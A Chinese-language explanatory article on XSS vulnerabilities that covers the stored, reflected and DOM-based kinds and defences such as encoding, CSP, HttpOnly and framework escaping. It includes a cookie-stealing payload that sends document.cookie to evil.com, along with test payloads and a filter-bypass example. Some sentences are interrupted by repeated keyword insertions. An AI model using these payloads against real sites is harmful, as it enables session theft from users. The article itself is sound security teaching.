当前位置:首页 > 休闲 > 跨站脚本 xss 漏洞 正文

跨站脚本 xss 漏洞

来源:烟消火灭网   作者:知识   时间:2026-10-17 05:53:57

去年某电商平台被曝出一个存储型 XSS 漏洞,跨站攻击者把恶意脚本藏在商品评价里。脚本你点开评论区,跨站脚本就在你浏览器里跑起来了,脚本cookie 直接被发到攻击者服务器。跨站整个过程你毫无感知,脚本页面看起来完全正常。跨站这不是脚本什么高深攻击,一段 <script>fetch('//evil.com?跨站c='+document.cookie)</script> 就够了。平台没做输出编码,脚本浏览器照单全收。跨站

XSS 的脚本本质就一句话:用户输入的内容被当成代码执行了。浏览器分不清哪些是跨站开发者写的脚本,哪些是脚本攻击者塞进来的。只要数据从服务端流向 HTML 页面时没经过正确处理,跨站就可能出事。

常见的 XSS 分三类。反射型最直接——你点了一个带参数的链接,参数值原封不动出现在页面里。比如搜索框,搜 <script>alert(1)</script>,页面返回“您搜索的是:<script>alert(1)</script>”,浏览器执行了。这种通常需要诱导点击,但钓鱼场景下成功率不低。

存储型更麻烦。数据存进数据库,每次有人访问那个页面就触发一次。论坛帖子、用户昵称、商品评论,都是重灾区。2018 年 GitHub 上有个 issue 被注入 XSS,任何打开该 issue 的开发者都会中招——攻击者甚至不用主动钓鱼,等鱼自己游过来就行。

DOM 型 XSS 有点不一样,问题出在前端 JavaScript 里。比如代码写成 document.getElementById('x').innerHTML = location.hash,你访问 page.html#<img src=x onerror=alert(1)>,脚本就跑了。服务端完全不知情,日志里也看不到异常。

防御的核心原则:永远不要信任用户输入。输出到 HTML 时做实体编码,< 变 &lt;,> 变 &gt;," 变 &quot;。输出到 JavaScript 时用 JSON.stringify 转义,输出到 URL 时用 encodeURIComponent。场景不同,编码方式不同,搞混了照样出洞。

Content Security Policy 是个好补充。设置 Content-Security-Policy: script-src 'self',浏览器就只执行同源脚本。内联脚本、eval、外部域脚本全被拦。但 CSP 不能替代编码,它只是最后一道防线。很多站点 CSP 配得松松垮垮,或者为了兼容旧代码开了 unsafe-inline,等于没设。

还有个坑:HttpOnly 标记。给 cookie 加上这个属性,JavaScript 就读不到 document.cookie。XSS 还在,但攻击者偷不走会话凭证。这招不解决根本问题,却能大幅降低危害。我见过不少站点连这个都没配,cookie 裸奔。

框架也不是万能药。React 默认转义 JSX 里的变量,但 dangerouslySetInnerHTML 一用就破功。Vue 的 v-html 同理。Angular 稍好,默认 sanitize,可 bypassSecurityTrustHtml 一开,防线就没了。工具给你安全默认值,你非要关掉,那谁也拦不住。

真实世界里,XSS 往往不是单独出现的。配合 CSRF,能替用户发帖、转账、改密码。配合键盘记录,能偷信用卡号。一个看似“只能弹个 alert”的漏洞,在攻击链里可能是关键一环。别因为弹窗不好看就忽略它。

测 XSS 的时候,别只盯着 <script>。浏览器解析 HTML 很灵活,<img src=x onerror=...>、<svg onload=...>、<body onpageshow=...> 都能执行。过滤 script 关键字?<scr<script>ipt> 绕过。转义了尖括号?属性里用 onmouseover 照样触发。黑名单永远追不上变体。

写代码时多问一句:这个变量会出现在 HTML 里吗?会出现在属性里吗?会出现在 <script> 标签内吗?答案不同,处理方式就不同。别偷懒全部 innerHTML,该用 textContent 就用 textContent。安全编码不是额外工作,是写代码的基本功。

标签:

责任编辑:知识